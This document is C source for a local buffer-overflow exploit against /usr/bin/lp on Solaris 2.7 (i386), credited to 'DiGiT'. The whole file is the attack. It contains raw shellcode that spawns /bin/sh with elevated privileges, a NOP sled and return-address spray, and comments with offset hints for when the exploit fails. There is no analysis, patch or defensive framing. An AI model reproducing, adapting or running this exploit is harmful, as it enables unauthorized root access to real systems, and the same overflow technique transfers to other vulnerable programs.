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- /*
- *
- * solaris 2.7 /usr/bin/lp local exploit, i386.
- *
- * discovered by DiGiT.
- * try offset 150-250 if sploit fails
- *
- * greets: #!ADM, #!security.is, #hax, duke
- *
- * DiGiT - teddi@linux.is
- *
- */
-
- #include <stdio.h>
- #include <stdlib.h>
-
-
- char shellcode[] =
- "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
- "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
- "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
- "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
- "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
- "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
-
- #define BUFSIZE 1100
-
- long get_esp() { __asm__("movl %esp,%eax"); }
-
- int main(int argc, char *argv[]) {
-
- char buff[BUFSIZE];
- int nopcount=501, offset=260;
- int i;
-
- if (argc > 1) offset = atoi(argv[1]);
- if (argc > 2) nopcount = atoi(argv[2]);
-
- memset (buff, 0x90, BUFSIZE);
-
- for (i = nopcount; i < BUFSIZE - 4; i += 4)
- *(long *) &buff[i] = get_esp() + offset;
- memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
- (shellcode));
-
- memcpy (buff, ":", 1);
- printf("Addr = 0x%x\n", get_esp() + offset);
- execl("/usr/bin/lp", "lp", "-d", buff, "-p", "/tmp/ps_data",NULL);
- }
-